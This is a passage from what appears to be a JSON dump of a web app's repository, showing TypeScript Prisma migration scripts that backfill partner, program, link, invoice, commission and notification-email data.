{\n              defaultPayoutMethod: PartnerPayoutMethod.connect,\n            },\n          })\n        : Promise.resolve({ count: 0 });\n\n    const promise2 =\n      paypalPartners.length > 0\n        ? prisma.partner.updateMany({\n            where: {\n              id: {\n                in: paypalPartners.map((partner) => partner.id),\n              },\n              defaultPayoutMethod: null,\n            },\n            data: {\n              defaultPayoutMethod: PartnerPayoutMethod.paypal,\n            },\n          })\n        : Promise.resolve({ count: 0 });\n\n    const [connectRes, paypalRes] = await Promise.all([promise1, promise2]);\n\n    console.log(\n      `Updated ${connectRes.count} connect partners and ${paypalRes.count} paypal partners`,\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-default-program-ids.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const programs = await prisma.program.findMany();\n\n  const data = await Promise.all(\n    programs.map(async (program) => {\n      return await prisma.project.update({\n        where: { id: program.workspaceId },\n        data: { defaultProgramId: program.id },\n      });\n    }),\n  );\n\n  console.table(data, [\"slug\", \"plan\", \"stripeId\", \"defaultProgramId\"]);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-discoverableat.ts",
    "content": "import { buildSocialPlatformLookup } from \"@/lib/social-utils\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const where: Prisma.PartnerWhereInput = {\n    discoverableAt: null,\n    users: {\n      some: {},\n    },\n    programs: {\n      some: {\n        programId: {\n          not: ACME_PROGRAM_ID,\n        },\n        totalCommissions: {\n          gt: 0,\n        },\n      },\n    },\n    platforms: {\n      some: {},\n    },\n  };\n\n  const partners = await prisma.partner.findMany({\n    where,\n    include: {\n      platforms: true,\n    },\n  });\n\n  // Format partners for display with platform handles\n  const partnersForDisplay = partners.map((partner) => {\n    const platformsMap = buildSocialPlatformLookup(partner.platforms);\n\n    return {\n      name: partner.name,\n      email: partner.email,\n      website: platformsMap.website?.identifier || null,\n      youtube: platformsMap.youtube?.identifier || null,\n      twitter: platformsMap.twitter?.identifier || null,\n      linkedin: platformsMap.linkedin?.identifier || null,\n      instagram: platformsMap.instagram?.identifier || null,\n      tiktok: platformsMap.tiktok?.identifier || null,\n    };\n  });\n\n  console.table(partnersForDisplay);\n\n  const count = await prisma.partner.count({\n    where,\n  });\n\n  console.log(`Found ${count} partners to backfill`);\n\n  const res = await prisma.partner.updateMany({\n    where: {\n      id: {\n        in: partners.map((partner) => partner.id),\n      },\n    },\n    data: { discoverableAt: new Date() },\n  });\n\n  console.log(`Updated ${res.count} partners with users to be discoverable`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-domain-logo.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const workspaces = await prisma.project.findMany({\n    where: {\n      plan: {\n        not: \"free\",\n      },\n      logo: {\n        not: null,\n      },\n    },\n    take: 1000,\n  });\n\n  if (!workspaces.length) {\n    console.log(\"No workspaces found.\");\n    return;\n  }\n\n  const updated = await Promise.all(\n    workspaces.map((workspace) =>\n      prisma.domain.updateMany({\n        where: {\n          projectId: workspace.id,\n        },\n        data: {\n          logo: workspace.logo,\n        },\n      }),\n    ),\n  );\n\n  console.log(`Updated ${updated.length} domains.`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-folders-limit.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const workspaces = await prisma.project.updateMany({\n    where: {\n      plan: \"free\",\n    },\n    data: {\n      foldersLimit: 0,\n    },\n  });\n\n  console.log({ workspaces });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-folders-usage.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const folderCounts = await prisma.folder.groupBy({\n    by: [\"projectId\"],\n    _count: true,\n    orderBy: {\n      _count: {\n        projectId: \"desc\",\n      },\n    },\n  });\n\n  console.log({ folderCounts });\n\n  for (const folderCount of folderCounts) {\n    await prisma.project.update({\n      where: { id: folderCount.projectId },\n      data: { foldersUsage: folderCount._count },\n    });\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-group-links-pgdl-acme.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { normalizeUrl } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\n// special script for checking if acme default links are set up properly\nasync function main() {\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      slug: \"acme\",\n    },\n    include: {\n      groups: {\n        include: {\n          partnerGroupDefaultLinks: true,\n        },\n      },\n    },\n  });\n\n  for (const group of program.groups) {\n    const defaultLink = group.partnerGroupDefaultLinks[0];\n\n    const programEnrollments = await prisma.programEnrollment.findMany({\n      where: {\n        groupId: group.id,\n      },\n      include: {\n        links: {\n          orderBy: {\n            createdAt: \"asc\",\n          },\n        },\n      },\n    });\n\n    const firstPartnerLinks = await Promise.all(\n      programEnrollments.map(async (programEnrollment) => {\n        const { programId, partnerId, links } = programEnrollment;\n        const foundDefaultLink = links.find(\n          (link) => link.partnerGroupDefaultLinkId,\n        );\n        const firstPartnerLink = links.find(\n          (link) => normalizeUrl(link.url) === normalizeUrl(defaultLink.url),\n        );\n\n        const {\n          groupDefaultLinkId,\n          partnerDefaultLinkId,\n          firstPartnerLinkDefaultLinkId,\n        } = {\n          groupDefaultLinkId: defaultLink.id,\n          partnerDefaultLinkId: foundDefaultLink?.partnerGroupDefaultLinkId,\n          firstPartnerLinkDefaultLinkId:\n            firstPartnerLink?.partnerGroupDefaultLinkId,\n        };\n\n        const matchingDefaultLink = [\n          partnerDefaultLinkId,\n          firstPartnerLinkDefaultLinkId,\n        ].every((id) => id === groupDefaultLinkId);\n\n        if (!matchingDefaultLink) {\n          await prisma.link.update({\n            where: {\n              id: firstPartnerLink?.id,\n            },\n            data: {\n              partnerGroupDefaultLinkId: groupDefaultLinkId,\n            },\n          });\n\n          console.log(\n            `Updated link ${firstPartnerLink?.id} to have default link ${groupDefaultLinkId}`,\n          );\n        }\n\n        return {\n          id: firstPartnerLink?.id,\n          shortLink: firstPartnerLink?.shortLink,\n          url: firstPartnerLink?.url,\n          programId,\n          partnerId,\n          groupDefaultLinkId,\n          partnerDefaultLinkId,\n          firstPartnerLinkDefaultLinkId,\n          matchingDefaultLink,\n        };\n      }),\n    );\n\n    console.table(firstPartnerLinks);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-group-links-pgdl.ts",
    "content": "import { ProcessedLinkProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { normalizeUrl } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { bulkCreateLinks } from \"../../lib/api/links\";\nimport { derivePartnerLinkKey } from \"../../lib/api/partners/generate-partner-link\";\n\n// Step 2 of 2: Backfill partner links with partnerGroupDefaultLinkId\nasync function main() {\n  const programs = await prisma.program.findMany({\n    include: {\n      groups: {\n        include: {\n          partnerGroupDefaultLinks: true,\n        },\n      },\n    },\n  });\n\n  for (const program of programs) {\n    for (const group of program.groups) {\n      if (group.partnerGroupDefaultLinks.length === 0) {\n        // should never happen, but just in case\n        console.log(\n          `WARNING: No default links found for group ${group.id}. Skipping...`,\n        );\n        continue;\n      }\n\n      const defaultLink = group.partnerGroupDefaultLinks[0];\n      const linksToCreate: ProcessedLinkProps[] = [];\n      const linksToUpdate: { id: string; shortLink: string }[] = [];\n\n      const alreadyUpdatedLinks = await prisma.link.findMany({\n        where: {\n          partnerGroupDefaultLinkId: defaultLink.id,\n        },\n      });\n\n      const programEnrollments = await prisma.programEnrollment.findMany({\n        where: {\n          groupId: group.id,\n          status: {\n            notIn: [\"pending\", \"rejected\", \"banned\"],\n          },\n          // filter out enrollments that already have a default link\n          partnerId: {\n            notIn: alreadyUpdatedLinks.map((link) => link.partnerId!),\n          },\n        },\n        include: {\n          program: {\n            include: {\n              workspace: {\n                include: {\n                  users: {\n                    select: {\n                      userId: true,\n                    },\n                  },\n                },\n              },\n            },\n          },\n          partner: true,\n          links: {\n            orderBy: {\n              createdAt: \"asc\",\n            },\n          },\n        },\n        take: 1000,\n      });\n\n      if (programEnrollments.length === 0) {\n        console.log(\n          `No more program enrollments found for group ${group.id}. Skipping...`,\n        );\n        continue;\n      }\n\n      for (const programEnrollment of programEnrollments) {\n        const { program, partner, links } = programEnrollment;\n        const firstPartnerLink = links.find(\n          (link) => normalizeUrl(link.url) === normalizeUrl(defaultLink.url),\n        );\n\n        if (!firstPartnerLink) {\n          const firstLink = links.length > 0 ? links[0] : null;\n          console.log(\n            `Didn't find a matching link for partner ${partner.email} (${partner.id}). ${firstLink ? `Their first link is ${firstLink.url} while the default link is ${defaultLink.url}` : \"They have no links\"}`,\n          );\n          if (!firstLink) {\n            linksToCreate.push({\n              domain: defaultLink.domain,\n              url: defaultLink.url,\n              key: `${derivePartnerLinkKey({\n                name: partner?.name,\n                email: partner?.email!,\n              })}`,\n              trackConversion: true,\n              projectId: program.workspace.id,\n              programId: program.id,\n              folderId: program.defaultFolderId,\n              partnerId: partner?.id,\n              tenantId: programEnrollment.tenantId,\n              partnerGroupDefaultLinkId: defaultLink.id,\n              userId: program.workspace.users[0].userId,\n            });\n          }\n          continue;\n        }\n\n        linksToUpdate.push({\n          id: firstPartnerLink.id,\n          shortLink: firstPartnerLink.shortLink,\n        });\n      }\n\n      const updateRes = await prisma.link.updateMany({\n        where: {\n          id: {\n            in: linksToUpdate.map((link) => link.id),\n          },\n        },\n        data: {\n          partnerGroupDefaultLinkId: defaultLink.id,\n        },\n      });\n\n      console.log(\n        `Updated ${updateRes.count} links with default link ${defaultLink.id}`,\n      );\n      console.table(linksToUpdate.slice(0, 10), [\"id\", \"shortLink\"]);\n\n      console.log(`Found ${linksToCreate.length} links to create`);\n      console.table(linksToCreate);\n\n      const createRes = await bulkCreateLinks({\n        links: linksToCreate,\n      });\n      console.log(`Created ${createRes.length} links`);\n      console.table(createRes, [\n        \"domain\",\n        \"key\",\n        \"url\",\n        \"folderId\",\n        \"partnerId\",\n        \"programId\",\n      ]);\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-group-links-settings.ts",
    "content": "// @ts-nocheck - old migration script\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { PartnerGroupAdditionalLink } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { getDomainWithoutWWW } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\n// Step 1 of 2: Backfill partner groups with link settings\nasync function main() {\n  const programs = await prisma.program.findMany({\n    include: {\n      groups: true,\n    },\n  });\n\n  console.log(`Found ${programs.length} programs.`);\n\n  for (const program of programs) {\n    let additionalLink: PartnerGroupAdditionalLink | undefined = undefined;\n\n    if (program.maxPartnerLinks > 0) {\n      additionalLink = {\n        domain: getDomainWithoutWWW(program.url!)!,\n        validationMode: program.urlValidationMode,\n      };\n    }\n\n    const pgRes = await prisma.partnerGroup.updateMany({\n      where: {\n        id: {\n          in: program.groups.map(({ id }) => id),\n        },\n      },\n      data: {\n        linkStructure: program.linkStructure,\n        maxPartnerLinks: program.maxPartnerLinks,\n        ...(additionalLink && { additionalLinks: [additionalLink] }),\n      },\n    });\n    console.log(`Updated ${pgRes.count} partner groups.`);\n\n    const pgdlRes = await prisma.partnerGroupDefaultLink.createMany({\n      data: program.groups.map((group) => ({\n        id: createId({ prefix: \"pgdl_\" }),\n        programId: program.id,\n        groupId: group.id,\n        domain: program.domain!,\n        url: program.url!,\n      })),\n      skipDuplicates: true,\n    });\n\n    console.log(`Created ${pgdlRes.count} partner group default links.`);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-group-settings.ts",
    "content": "// @ts-nocheck - old migration script\n\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const programs = await prisma.program.findMany({\n    include: {\n      groups: true,\n    },\n  });\n\n  console.log(`Found ${programs.length} programs.`);\n\n  for (const program of programs) {\n    const res = await prisma.partnerGroup.updateMany({\n      where: {\n        programId: program.id,\n      },\n      data: {\n        logo: program.logo,\n        wordmark: program.wordmark,\n        brandColor: program.brandColor,\n        holdingPeriodDays: program.holdingPeriodDays,\n        autoApprovePartnersEnabledAt: program.autoApprovePartnersEnabledAt,\n      },\n    });\n    console.log(\n      `Updated ${res.count} partner groups for program ${program.slug}.`,\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-invoice-paid-at.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const invoices = await prisma.invoice.findMany({\n    where: {\n      paidAt: null,\n    },\n    orderBy: {\n      createdAt: \"asc\",\n    },\n    include: {\n      payouts: {\n        take: 1,\n      },\n    },\n  });\n\n  for (const invoice of invoices) {\n    if (invoice.payouts.length > 0 && invoice.payouts[0].paidAt) {\n      await prisma.invoice.update({\n        where: { id: invoice.id },\n        data: { paidAt: invoice.payouts[0].paidAt },\n      });\n      console.log(\n        `Updated invoice ${invoice.id} to ${invoice.payouts[0].paidAt}`,\n      );\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-invoice-payment-method.ts",
    "content": "import { STRIPE_PAYMENT_METHOD_NORMALIZATION } from \"@/lib/constants/payouts\";\nimport { prisma } from \"@dub/prisma\";\nimport { Invoice } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\n// migrations/backfill-invoice-payment-method\nasync function main() {\n  const invoices = await prisma.invoice.findMany({\n    where: {\n      paymentMethod: null,\n      stripeChargeMetadata: {\n        not: {},\n      },\n    },\n    take: 100,\n  });\n\n  console.log(`Found ${invoices.length} invoices to backfill`);\n\n  const invoicesToUpdate: Pick<Invoice, \"id\" | \"paymentMethod\">[] = [];\n\n  for (const invoice of invoices) {\n    const chargeMetadata = invoice.stripeChargeMetadata as any;\n    const paymentMethodType = chargeMetadata?.payment_method_details?.type;\n\n    if (!paymentMethodType) {\n      console.log(`No payment method type found for invoice ${invoice.id}`);\n      continue;\n    }\n\n    const normalizedPaymentMethod =\n      STRIPE_PAYMENT_METHOD_NORMALIZATION[\n        paymentMethodType as keyof typeof STRIPE_PAYMENT_METHOD_NORMALIZATION\n      ];\n\n    if (!normalizedPaymentMethod) {\n      console.log(\n        `Unknown payment method type ${paymentMethodType} for invoice ${invoice.id}`,\n      );\n      continue;\n    }\n\n    invoicesToUpdate.push({\n      id: invoice.id,\n      paymentMethod: normalizedPaymentMethod,\n    });\n  }\n\n  console.table(invoicesToUpdate);\n\n  await Promise.allSettled(\n    invoicesToUpdate.map((invoice) =>\n      prisma.invoice.update({\n        where: {\n          id: invoice.id,\n        },\n        data: {\n          paymentMethod: invoice.paymentMethod,\n        },\n      }),\n    ),\n  );\n\n  console.log(\"Backfill completed\");\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-invoice-prefixes.ts",
    "content": "import { generateRandomString } from \"@/lib/api/utils/generate-random-string\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const workspaces = await prisma.project.findMany({\n    where: {\n      invoicePrefix: null,\n    },\n    select: {\n      id: true,\n    },\n    take: 100,\n  });\n\n  if (workspaces.length === 0) {\n    console.log(\"No workspaces left to update.\");\n    return;\n  }\n\n  const updatedWorkspaces = await Promise.all(\n    workspaces.map(async (workspace) =>\n      prisma.project.update({\n        where: { id: workspace.id },\n        data: { invoicePrefix: generateRandomString(8) },\n        select: { slug: true, invoicePrefix: true },\n      }),\n    ),\n  );\n\n  const remaining = await prisma.project.count({\n    where: {\n      invoicePrefix: null,\n    },\n  });\n  console.log(\n    `Updated invoice prefixes for ${updatedWorkspaces.length} workspaces. ${remaining} workspaces left to update.`,\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-link-commissions.ts",
    "content": "import { SaleEvent } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { EventType, Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\nimport { getEvents } from \"../../lib/analytics/get-events\";\nimport { createId } from \"../../lib/api/create-id\";\nimport { syncTotalCommissions } from \"../../lib/api/partners/sync-total-commissions\";\nimport { calculateSaleEarnings } from \"../../lib/api/sales/calculate-sale-earnings\";\nimport { determinePartnerReward } from \"../../lib/partners/determine-partner-reward\";\n\n// script to backfill link commissions\n// NOTE: need to remove \"server-only\" from serialize-reward.ts to run this script\nasync function main() {\n  const linkId = \"link_1K51TBZPWY2WB401DTJHQBTZ3\";\n  const eventId = \"Y9SMlkLFt9gt63fl\";\n\n  const link = await prisma.link.findUniqueOrThrow({\n    where: {\n      id: linkId,\n    },\n  });\n  if (!link.partnerId || !link.programId) {\n    throw new Error(\"Link does not have a partner or program\");\n  }\n\n  const saleEvents = (await getEvents({\n    linkId: link.id,\n    event: \"sales\",\n    interval: \"all\",\n    page: 1,\n    limit: 5000,\n    sortOrder: \"desc\",\n    sortBy: \"timestamp\",\n    os: undefined,\n    device: undefined,\n    browser: undefined,\n  })) as SaleEvent[];\n\n  const programEnrollment = await prisma.programEnrollment.findUniqueOrThrow({\n    where: {\n      partnerId_programId: {\n        partnerId: link.partnerId,\n        programId: link.programId,\n      },\n    },\n    include: {\n      program: true,\n      partner: true,\n      links: true,\n      saleReward: true,\n    },\n  });\n\n  const { program } = programEnrollment;\n\n  const data = saleEvents\n    .map((e) => {\n      if (e.eventId !== eventId) {\n        return null;\n      }\n      const reward = determinePartnerReward({\n        event: \"sale\",\n        programEnrollment,\n        context: {\n          sale: {\n            productId: e.metadata?.productId,\n          },\n        },\n      });\n      if (!reward) {\n        return null;\n      }\n      return {\n        id: createId({ prefix: \"cm_\" }),\n        programId: program.id,\n        partnerId: link.partnerId!,\n        linkId: link.id,\n        invoiceId: e.invoice_id\n          ? `${e.invoice_id}${e.metadata?.productId ? `-${e.metadata?.productId}` : \"\"}`\n          : null,\n        customerId: e.customer.id,\n        eventId: e.eventId,\n        amount: e.sale.amount,\n        type: EventType.sale,\n        quantity: 1,\n        currency: \"usd\",\n        createdAt: new Date(e.timestamp),\n        earnings: calculateSaleEarnings({\n          reward,\n          sale: {\n            quantity: 1,\n            amount: e.sale.amount,\n          },\n        }),\n      };\n    })\n    .filter(\n      (c): c is NonNullable<typeof c> => c !== null,\n    ) satisfies Prisma.CommissionCreateManyInput[];\n\n  console.table(data);\n\n  // create commissions\n  const res = await prisma.commission.createMany({\n    data,\n    skipDuplicates: true,\n  });\n  console.log(`Created ${res.count} commissions`);\n\n  // sync total commissions for the partner in the program\n  await syncTotalCommissions({\n    partnerId: link.partnerId,\n    programId: link.programId,\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-link-partner-group-ids.ts",
    "content": "import { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nconst LINKS_PER_BATCH = 1000;\nconst PR_MERGE_TIMESTAMP = new Date(\"2025-11-07T00:00:00Z\");\n\nasync function main() {\n  let cursor: string | undefined = undefined;\n\n  while (true) {\n    // Find the program links\n    const links = await prisma.link.findMany({\n      where: {\n        programId: {\n          not: null,\n        },\n        partnerId: {\n          not: null,\n        },\n        createdAt: {\n          lte: PR_MERGE_TIMESTAMP,\n        },\n      },\n      include: {\n        ...includeTags,\n        ...includeProgramEnrollment,\n      },\n      orderBy: {\n        id: \"asc\",\n      },\n      take: LINKS_PER_BATCH,\n      ...(cursor\n        ? {\n            cursor: { id: cursor },\n            skip: 1,\n          }\n        : {}),\n    });\n\n    if (links.length === 0) {\n      console.log(\"No links found, skipping...\");\n      break;\n    }\n\n    console.log(`Found ${links.length} links to process.`);\n\n    cursor = links[links.length - 1].id;\n\n    const linksWithGroupIds = links.filter(\n      (link) => link.programEnrollment?.groupId,\n    );\n\n    if (linksWithGroupIds.length === 0) {\n      console.log(\"No links with group ids found, skipping...\");\n      break;\n    }\n\n    const { successful_rows, quarantined_rows } =\n      await recordLink(linksWithGroupIds);\n\n    if (successful_rows !== linksWithGroupIds.length) {\n      console.log(\n        `Failed to record ${linksWithGroupIds.length - successful_rows} links.`,\n      );\n    }\n\n    if (quarantined_rows !== 0) {\n      console.log(`Quarantined ${quarantined_rows} links.`);\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-link-stats.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\n// script to backfill link cache for links with webhooks\nasync function main() {\n  const where: Prisma.LinkWhereInput = {\n    programId: {\n      not: null,\n    },\n    leads: {\n      gt: 0,\n    },\n    lastLeadAt: null,\n  };\n\n  console.time(\"findMany\");\n  const links = await prisma.link.findMany({\n    where,\n    take: 5000,\n    select: {\n      id: true,\n      shortLink: true,\n      leads: true,\n      lastLeadAt: true,\n      customers: {\n        select: {\n          email: true,\n          createdAt: true,\n        },\n        orderBy: {\n          createdAt: \"desc\",\n        },\n        take: 1,\n      },\n    },\n  });\n  console.timeEnd(\"findMany\");\n\n  console.time(\"updateMany\");\n  for (const link of links) {\n    if (link.customers.length === 0) {\n      console.log(`No customers for ${link.shortLink}`);\n      continue;\n    }\n\n    const res = await prisma.link.update({\n      where: { id: link.id },\n      data: {\n        lastLeadAt: link.customers[0].createdAt,\n      },\n    });\n    console.log(`Updated ${link.shortLink} with lastLeadAt: ${res.lastLeadAt}`);\n  }\n  console.timeEnd(\"updateMany\");\n\n  console.time(\"count\");\n  const remaining = await prisma.link.count({\n    where,\n  });\n  console.timeEnd(\"count\");\n\n  console.log(`Updated ${links.length} links, ${remaining} remaining`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-link-webhooks.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { linkCache } from \"../../lib/api/links/cache\";\n\n// script to backfill link cache for links with webhooks\nasync function main() {\n  const links = await prisma.link.findMany({\n    where: {\n      webhooks: {\n        some: {},\n      },\n    },\n    include: {\n      webhooks: true,\n    },\n  });\n\n  console.log(links.length);\n  console.log(JSON.stringify(links, null, 2));\n\n  const res = await linkCache.mset(links);\n  console.log(res);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-missing-lead-commissions.ts",
    "content": "// @ts-nocheck some weird typing issues below\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\nimport { getEvents } from \"../../lib/analytics/get-events\";\n\nasync function main() {\n  const link = await prisma.link.findUniqueOrThrow({\n    where: {\n      id: \"link_xxx\",\n    },\n  });\n  const leadEvents = await getEvents({\n    event: \"leads\",\n    interval: \"all\",\n    workspaceId: link.projectId!,\n    linkId: link.id,\n    sortBy: \"timestamp\",\n    page: 1,\n    limit: 1000,\n  });\n\n  const commissionsToCreate: Prisma.CommissionCreateManyInput[] = leadEvents\n    .filter((e) => e.event === \"lead\")\n    .map((e) => ({\n      id: createId({ prefix: \"cm_\" }),\n      programId: link.programId!,\n      partnerId: link.partnerId!,\n      rewardId: \"rw_xxx\",\n      customerId: e.customer!.id,\n      linkId: link.id,\n      eventId: e.eventId,\n      type: \"lead\",\n      quantity: 1,\n      amount: 0,\n      currency: \"usd\",\n      earnings: 2000,\n      status: \"pending\",\n      createdAt: new Date(e.timestamp),\n    }));\n\n  console.table(commissionsToCreate);\n\n  await prisma.commission.createMany({\n    data: commissionsToCreate,\n    skipDuplicates: true,\n  });\n  console.log(`Created ${commissionsToCreate.length} commissions`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-missing-sales.ts",
    "content": "import { getEvents } from \"@/lib/analytics/get-events\";\nimport { getLeadEvent, recordSale } from \"@/lib/tinybird\";\nimport { clickEventSchemaTB } from \"@/lib/zod/schemas/clicks\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst workspaceId = \"xxx\";\nlet customerSpend: {\n  email: string;\n  amount: number;\n  date: string;\n}[] = [];\n\nasync function main() {\n  const customers = await prisma.customer.findMany({\n    where: {\n      projectId: workspaceId,\n    },\n    select: {\n      id: true,\n      email: true,\n      externalId: true,\n    },\n    orderBy: {\n      createdAt: \"asc\",\n    },\n  });\n\n  Papa.parse(fs.createReadStream(\"xxx.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: {\n      data: {\n        email: string;\n        net_volume: string;\n        created: string;\n      };\n    }) => {\n      customerSpend.push({\n        email: result.data.email,\n        amount: parseFloat(result.data.net_volume),\n        date: result.data.created,\n      });\n    },\n    complete: async () => {\n      const alreadyLogged = await getEvents({\n        workspaceId,\n        event: \"sales\",\n        interval: \"all\",\n        page: 1,\n        limit: 1000,\n        sortOrder: \"desc\",\n        sortBy: \"timestamp\",\n        os: undefined,\n        device: undefined,\n        browser: undefined,\n      });\n\n      const toBackfill = await Promise.all(\n        customerSpend.map(async (cs) => {\n          const customer = customers.find((c) => c.email === cs.email);\n          if (!customer) return null;\n          // if the sale has already been logged, skip\n          if (\n            alreadyLogged.some(\n              (e) =>\n                e !== null &&\n                \"customer\" in e &&\n                e.customer?.externalId === customer.externalId,\n            )\n          )\n            return null;\n\n          const eventId = nanoid(16);\n\n          const leadEvent = await getLeadEvent({\n            customerId: customer.id,\n          });\n\n          const clickData = clickEventSchemaTB\n            .omit({ timestamp: true })\n            .parse(leadEvent);\n\n          const saleAmount = parseInt((cs.amount * 100).toFixed(0));\n\n          const data = {\n            ...clickData,\n            timestamp: new Date(cs.date).toISOString(),\n            event_id: eventId,\n            event_name: \"Subscription creation\",\n            customer_id: customer.id,\n            payment_processor: \"stripe\",\n            amount: saleAmount,\n            currency: \"usd\",\n            invoice_id: \"\",\n            metadata: \"\",\n          };\n\n          const tbRes = await recordSale(data);\n          console.log(tbRes);\n          const prismaRes = prisma.link.update({\n            where: {\n              id: clickData.link_id,\n            },\n            data: {\n              sales: {\n                increment: 1,\n              },\n              saleAmount: {\n                increment: saleAmount,\n              },\n            },\n          });\n          console.log(prismaRes);\n\n          return data;\n        }),\n      ).then((res) => res.filter(Boolean));\n\n      console.log(JSON.stringify(toBackfill, null, 2));\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-notification-email-columns.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\n// one time script to make sure notificationEmail entries are unique by emailId\nasync function main() {\n  const notificationEmailsToBackfill = await prisma.notificationEmail.groupBy({\n    by: [\"messageId\"],\n    where: {\n      programId: null,\n      partnerId: null,\n    },\n    _count: {\n      messageId: true,\n    },\n    orderBy: {\n      _count: {\n        messageId: \"desc\",\n      },\n    },\n    take: 50,\n  });\n\n  console.table(notificationEmailsToBackfill);\n\n  for (const notificationEmail of notificationEmailsToBackfill) {\n    if (!notificationEmail.messageId) {\n      console.log(\n        `No messageId found for notification email ${notificationEmail.messageId}`,\n      );\n      continue;\n    }\n    const message = await prisma.message.findUnique({\n      where: { id: notificationEmail.messageId },\n    });\n    if (!message) {\n      console.log(`Message ${notificationEmail.messageId} not found`);\n      continue;\n    }\n    const res = await prisma.notificationEmail.updateMany({\n      where: { messageId: notificationEmail.messageId },\n      data: {\n        programId: message.programId,\n        partnerId: message.partnerId,\n      },\n    });\n    console.log(\n      `Updated ${res.count} notification emails with programId ${message.programId} and partnerId ${message.partnerId}`,\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-notification-email-deliveredat.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { addSeconds, subSeconds } from \"date-fns\";\nimport \"dotenv-flow/config\";\n\n// one time script to make sure notificationEmail entries are unique by emailId\nasync function main() {\n  const notificationEmailsToBackfill = await prisma.notificationEmail.findMany({\n    where: {\n      type: \"Campaign\",\n      deliveredAt: null,\n    },\n    take: 1000,\n  });\n\n  for (const notificationEmail of notificationEmailsToBackfill) {\n    // Calculate base deliveredAt (5-15 seconds after createdAt)\n    const baseDeliveredAt = addSeconds(\n      notificationEmail.createdAt,\n      5 + Math.random() * 10,\n    );\n\n    // If openedAt exists, ensure deliveredAt is at least 1 second before openedAt\n    let deliveredAt = baseDeliveredAt;\n    if (notificationEmail.openedAt) {\n      const maxDeliveredAt = subSeconds(notificationEmail.openedAt, 1);\n      if (baseDeliveredAt > maxDeliveredAt) {\n        deliveredAt = maxDeliveredAt;\n      }\n    }\n\n    await prisma.notificationEmail.update({\n      where: { id: notificationEmail.id },\n      data: { deliveredAt },\n    });\n    console.log(\n      `Backfilled ${notificationEmail.id} with deliveredAt: ${deliveredAt.toISOString()}`,\n    );\n  }\n}\n\nmain().catch(console.error);\n"
  },
  {
    "path": "apps/web/scripts/migrations/backfill-notification-preferences.ts",
